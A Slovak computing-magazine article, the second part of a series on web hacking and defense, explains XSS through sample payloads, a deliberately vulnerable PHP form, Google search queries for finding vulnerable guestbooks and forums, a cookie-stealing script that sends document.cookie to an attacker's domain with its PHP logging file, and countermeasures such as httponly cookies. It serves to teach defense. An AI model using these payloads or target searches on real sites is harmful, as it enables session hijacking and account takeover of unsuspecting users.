Image
16.6.2016 0 Comments

WWW hacking a obrana / 2. časť

Pr­vú časť se­riá­lu sme ukon­či­li roz­prá­va­ním o fun­kcii open() ob­jek­tu win­dow. Te­raz na tú­to té­mu nad­via­že­me.
Chy­by ty­pu XSS sa da­jú zneu­žiť aj pri ro­zo­sie­la­ní rek­la­my. Pre ro­bo­ty, kto­ré preh­ľa­dá­va­jú inter­net, nie je prob­lém vlo­žiť do fó­ra prís­pe­vok:
<script>win­dow.open("http://www.rek­la­ma_na_ne­ja­ky_pro­dukt.com");</script>

Po­uží­va­te­ľo­vi sa zob­ra­zí ok­no s rek­la­mou. Pre­to je lep­šie mať za­ká­za­né spúš­ťa­nie pop-up okien.
Sku­toč­né ne­bez­pe­čen­stvo spo­čí­va v tom, že útoč­ník mô­že pri­dať na­mies­to oby­čaj­né­ho skrip­tu, kto­rý len zob­ra­zí ne­ja­kú sprá­vu, skript, kto­rý zís­ka coo­kies. Ide opäť len o pár riad­kov kó­du, kto­ré do­ká­že na­pí­sať aj za­čia­toč­ník v Ja­vaS­crip­te a PHP.

XSS cez pa­ra­me­ter ob­jek­tu
Nie vždy je to, čo po­uží­va­teľ vlo­žil, aj vý­stu­pom na strán­ku, kto­rý vi­dieť. Nie­ke­dy je to len hod­no­ta ne­ja­ké­ho pa­ra­met­ra ob­jek­tu. V nas­le­du­jú­com prík­la­de je tým ob­jek­tom texto­vé po­líč­ko, kto­ré­ho hod­no­ta pa­ra­met­ra va­lue je je­ho ob­sah. Ani ten­to vstup nie je ni­ja­ko kon­tro­lo­va­ný, a pre­to doň mož­no vlo­žiť aké­koľ­vek úda­je.
Skús­te vy­skú­šať <script>alert("XSS vul­ne­ra­bil­ná strán­ka!");</script>. Skript sa ne­vy­ko­ná, ale po­ško­dí in­teg­ri­tu strán­ky na­toľ­ko, že vý­sle­dok bu­de zob­ra­ze­nie ma­lej čas­ti kó­du strán­ky, do­kon­ca ta­gu.

Prob­lém je v tom, že skript, kto­rý sme vlo­ži­li do texto­vé­ho po­líč­ka, je vnút­ri med­zi úvod­zov­ka­mi a je po­va­žo­va­ný za re­ťa­zec, a nie za kód strán­ky.
Ten­to prob­lém sa dá od­strá­niť jed­no­duc­ho: vlo­že­ním "> pred kód skrip­tu.
Vý­sled­ný vstup bu­de vy­ze­rať tak­to "><script>alert("XSS vul­ne­ra­bil­ná strán­ka!"); </script>.Tým dôj­de k ukon­če­niu ta­gu <in­put> a vy­ko­na­niu ta­gu <script></script>.

<in­put na­me="me­no" ty­pe="text" va­lue=""><script>alert("XSS
vul­ne­ra­bil­ná strán­ka!"); </script>" si­ze=100>

Tu je zdro­jo­vý kód vul­ne­ra­bil­nej strán­ky:

<html>
<head>
<tit­le>Ukáž­ka ap­li­ká­cie, kto­rá je zle nap­rog­ra­mo­va­ná!</tit­le>
<me­ta http-equiv="Con­tent-Ty­pe" con­tent="text/html; char­set=win­dows-1250">

</head>

<bo­dy>
<form ac­tion="<?php ec­ho $HTTP_SELF; ?>" met­hod="get">
<in­put na­me="me­no" ty­pe="text" va­lue="<?php ec­ho $me­no; ?>" si­ze=100>

<in­put na­me="od­os­lat" ty­pe="sub­mit" va­lue="Od­os­lať">

</form>

 

</bo­dy>
</html>

 

Ako hac­ke­ri hľa­da­jú cie­le:

inurl:kn.php

Skrat­ka kni­ha náv­štev = kn.php. Nie čas­to po­uží­va­ná skrat­ka náz­vu sú­bo­ru, ale náj­de sa aj ta­ká

inurl:kni­ha_nav­stev.php

Sú­bo­ry PHP s náz­vom kni­ha_nav­stev.php. Veľ­mi čas­to sa kni­ha náv­štev spá­ja aj s po­sla­ním (up­load) ne­ja­ké­ho sú­bo­ru, väč­ši­nou ob­ráz­ka, a tu nas­tá­va veľ­ký prob­lém, kto­ré­mu sa bu­de­me ve­no­vať na­bu­dú­ce

inurl:kni­ha­nav­stev.php

Sú­bo­ry PHP s náz­vom kni­ha­nav­stev.php

inurl:dis­ku­sia.php

Sú­bo­ry PHP s náz­vom dis­ku­sia.php

inurl:dis­ku­tuj­te.php

Sú­bo­ry PHP s náz­vom dis­ku­tuj­te.php

inurl:dis­ku­tu­je­me.php

Sú­bo­ry PHP s náz­vom dis­ku­tu­je­me.php

inurl:blog.php

Sú­bo­ry PHP s náz­vom blog.php

inurl:blo­guj.php

Sú­bo­ry PHP s náz­vom blo­guj.php

inurl:chat.php

Sú­bo­ry PHP s náz­vom chat.php

inurl:cha­tu­je­me.php

Sú­bo­ry PHP s náz­vom cha­tu­je­me.php

inurl:chat­ting.php

Sú­bo­ry PHP s náz­vom chat­ting.php

inurl:your_opi­nion.php

Sú­bo­ry PHP s náz­vom your_opi­nion.php

inurl:dis­cus­sion.php

Sú­bo­ry PHP s náz­vom dis­cus­sion.php

inurl:dis­cuss.php

Sú­bo­ry PHP s náz­vom dis­cuss.php


Je veľ­ké množ­stvo vy­hľa­dá­va­cích kri­té­rií, kto­ré sú veľ­mi ús­peš­né a kto­ré umož­nia útoč­ní­ko­vi rých­lo náj­sť strán­ky nác­hyl­né k úto­kom ty­pu XSS. V pred­chád­za­jú­cej ta­buľ­ke sú uve­de­né prík­la­dy v slo­ven­skom a an­glic­kom ja­zy­ku, kto­ré však bu­dú po prek­la­de do rôz­nych iných ja­zy­kov fun­kčné. Na vy­hľa­dá­va­nie sa po­uží­va­jú aj rôz­ne iné kri­té­riá, kto­ré mô­žu byť zle za­bez­pe­če­né. Ide o ama­tér­ske weby, pri kto­rých sa dá pred­pok­la­dať, že sú nap­rog­ra­mo­va­né za­čia­toč­ník­mi ale­bo nep­ro­fe­sio­nál­ne.

Znep­rís­tup­ne­nie WWW strán­ky
Znep­rís­tup­ne­nie WWW strán­ky nie je len otáz­kou hac­kin­gu na úrov­ni server­a, ale sta­čí ma­lá ne­po­zor­nosť a útoč­ník mô­že strán­ku vy­ra­diť jed­ným riad­kom kó­du.
<script>win­dow.lo­ca­tion.href="http://www.ne­ja­ka_ina_stran­ka.com";</script>

Ak má oby­čaj­ný náv­štev­ník strán­ky mož­nosť, ako vy­tvo­riť ne­ja­ký vý­stup, kto­rý sa zob­ra­zu­je hneď na pr­vej strán­ke, mô­že ta­kým­to spô­so­bom za­blo­ko­vať strán­ku dov­te­dy, kým ju správ­ca neop­ra­ví. Pre­to tre­ba dá­vať po­zor na to, aby sa všet­ky dá­ta, kto­ré sú vi­di­teľ­né už na pr­vej strán­ke, kon­tro­lo­va­li a ne­do­vo­li­li vy­ko­ná­va­nie aké­ho­koľ­vek ne­bez­peč­né­ho kó­du. Je množ­stvo strá­nok, kto­ré zob­ra­zu­jú hneď na pr­vej strán­ke nie­čo ako na­pos­le­dy pri­da­né člán­ky, po­sled­né prís­pev­ky do dis­ku­sie atď.

Veľ­mi ne­bez­peč­né sú aj e-mai­ly for­má­to­va­né ako HTML. V tom naj­lep­šom prí­pa­de pre hac­ke­ra sta­čí, ak je zle ošet­re­ný vstup a vý­stup e-mai­lu.
Pred­stav­me si, že dva­ja ľu­dia si pí­šu e-mai­ly. Zho­dou okol­nos­tí oba­ja po­uží­va­jú tú is­tú služ­bu, kto­rá im po­sky­tu­je bez­plat­né free­mai­lo­vé kon­to. Je­den z nich sa však po­kú­si us­ku­toč­niť útok na kon­to to­ho dru­hé­ho, pre­to­že by si rád pre­čí­tal je­ho po­štu a ov­lá­dol ce­lé je­ho kon­to. Je to mož­no ove­ľa jed­no­duc­hšie, ako si mys­lí­te. Ak je v spra­co­va­ní e-mai­lov chy­ba, kto­rá do­vo­ľu­je vy­užiť útok XSS, je zís­ka­nie kon­ta to­ho dru­hé­ho hrač­ka.

Ak nie je ob­sah e-mai­lu ni­ja­ko ošet­ro­va­ný, aby sa doň ne­da­li vkla­dať skrip­ty, útoč­ní­ko­vi sta­čí po­slať svo­jej obe­ti e-mail, kto­rý bu­de ob­sa­ho­vať skript po­dob­ný nas­le­du­jú­ce­mu:

<script>win­dow.lo­ca­tion.rep­la­ce("http://www.utoc­ni­ko­va.do­me­na.com/kra­dez_
cookie.php?cookie="+do­cu­ment.cookie); </script>

Vý­sled­kom toh­to kó­du v e-mai­le, kto­rý si ot­vo­rí obeť, bu­de to, že ses­sion, kto­rú vlas­tní v tom ča­se obeť, skript nas­ta­ví ako pa­ra­me­ter pre­men­nej cookie v ad­re­se URL, kto­rá pres­me­ru­je obeť na ad­re­su útoč­ní­ko­vej do­mé­ny. Hac­ke­ri po­uží­va­jú na ten­to účel väč­ši­nou ne­ja­ké free­hos­tin­go­vé kon­to. Sa­moz­rej­me, že ten­to spô­sob je až veľ­mi ná­pad­ný, ale koľ­ko ľu­dí si uve­do­mí, čo sa sta­lo? Väč­ši­na si to vy­svet­lí ako ne­ja­kú chy­bu.

Ob­sah sú­bo­ru kra­zed_cookie.php sa po­do­bá to­mu­to:

<?php
$za­pis = $cookie.", ";

$fi­le = fo­pen("coo­kies.txt", "a");
fwri­te($fi­le, $za­pis, strlen($za­pis));
fclo­se($fi­le);

?>

Útoč­ník má už jed­no­duc­hú úlo­hu. Sta­čí, ak sko­pí­ru­je cookie do svoj­ho preh­lia­da­ča tak, aby je­ho hod­no­ta bo­la pre­pí­sa­ná no­vou, a mal by sa dos­tať do e-mai­lo­vé­ho kon­ta svo­jej obe­te. To bu­de však fun­go­vať len vte­dy, ak je eš­te da­né cookie plat­né. To zna­me­ná, že obeť je eš­te stá­le prih­lá­se­ná vo svo­jej schrán­ke a neod­hlá­si­la sa ale­bo plat­nosť cookie ne­vypr­ší. Po­zor! Vy­pnu­tie inter­ne­to­vé­ho preh­lia­da­ča cookie ne­ru­ší. Pre­to sa vždy tre­ba od­hlá­siť re­gu­lár­ne, a nie iba za­tvo­re­ním ok­na inter­ne­to­vé­ho preh­lia­da­ča, tak ako to ro­bí množ­stvo po­uží­va­te­ľov. Po­tom by ne­bo­lo tre­ba ani prih­la­so­va­nie, ke­by niek­to pris­tu­po­val k svoj­mu kon­tu len z vlas­tné­ho po­čí­ta­ča. Od­hlá­se­nie je rov­na­ko dô­le­ži­té ako prih­lá­se­nie.
Za­brá­niť úto­ku v ta­kej­to for­me sa dá po­mo­cou nas­ta­ve­nia hod­no­ty ar­gu­men­tu httpon­ly vo fun­kcii set­cookie(...) na TRUE. No tá­to fun­kcia je tu až od ver­zie PHP 5.2.0 a ne­pod­po­ru­jú ju všet­ky preh­lia­da­če.

Čo ne­po­mô­že:
• Po­uži­tie me­tó­dy PO­ST na­mies­to GET. Je sí­ce prav­da, že to bu­de mať ha­cker troc­hu ťaž­šie, pre­to­že neu­vi­dí ce­lú URL, ale ta­kí­to XSS hac­ke­ri po­uží­va­jú lo­kál­ne proxy, kto­rým ana­ly­zu­jú pa­ke­ty a tam pre­pí­šu jed­not­li­vé ar­gu­men­ty. Nás­tro­jom, kto­rý je pri webo­vom hac­kin­gu ta­kis­to uži­toč­ný, je roz­ší­re­nie Mo­zil­la Fi­re­foxu s náz­vom Li­veHTTPHea­ders (http://li­vehttphea­ders.moz­dev.org/), kto­rým ta­kis­to mô­žu bez prob­lé­mov ana­ly­zo­vať a me­niť pa­ke­ty a coo­kies.
• Po­uži­tie fun­kcie addslas­hes (string re­ťa­zec). Fun­kcia len pri­dá­va backslash – spät­nú lom­ku pred " a '.
• Po­uži­tie ta­gu <pre> </pre>, kto­rý slú­ži iba na za­cho­va­nie viac ako jed­né­ho bi­ele­ho zna­ku v do­ku­men­te for­má­to­va­nom ako HTML.

Zá­ver
V nas­le­du­jú­cej čas­ti se­riá­lu sa po­zrie­me na úto­ky ty­pu PHP In­jec­tion/In­clu­de.

Autor: Ján Chovanec

Nechajte si posielať prehľad najdôležitejších správ emailom

Mohlo by Vás zaujímať

Ako na to

Tipy a triky: Ako na snímku obrazovky na akomkoľvek počítači s Windows?

02.12.2016 00:13

Ak snímky obrazovky robíte často apotrebujete napríklad funkcie na posun stránok alebo snímanie zobrazenia pri vyššom rozlíšení displeja, zrejme používate nejakú špecializovanú aplikáciu. Väčšina použ ...

Ako na to 1

Tipy a triky: Ako aplikácii prednastaviť spúšťanie s administrátorskými právami?

30.11.2016 00:10

Väčšina aspoň trochu skúsenejších používateľov vie, že aj keď máte na operačnom systéme Windows vytvorený administrátorský účet, aplikácie pre bezpečnosť nefungujú vždy splnými administrátorskými práv ...

Ako na to 2

Tipy a triky: Ako vypnúť uzamykaciu obrazovku vo Windows 10?

29.11.2016 00:10

Rozčuľuje vás, že pred každým prihlásením doúčtu vášho počítača musíte prejsť uzamykacou obrazovkou? Windows 10 na tejto obrazovke ukazuje čas,dátum anejakú zaujímavú fotografiu zrôznych kútov sveta. ...

Žiadne komentáre

Vyhľadávanie

Kyocera - prve-zariadenia-formatu-a4-s-vykonom-a3

Najnovšie videá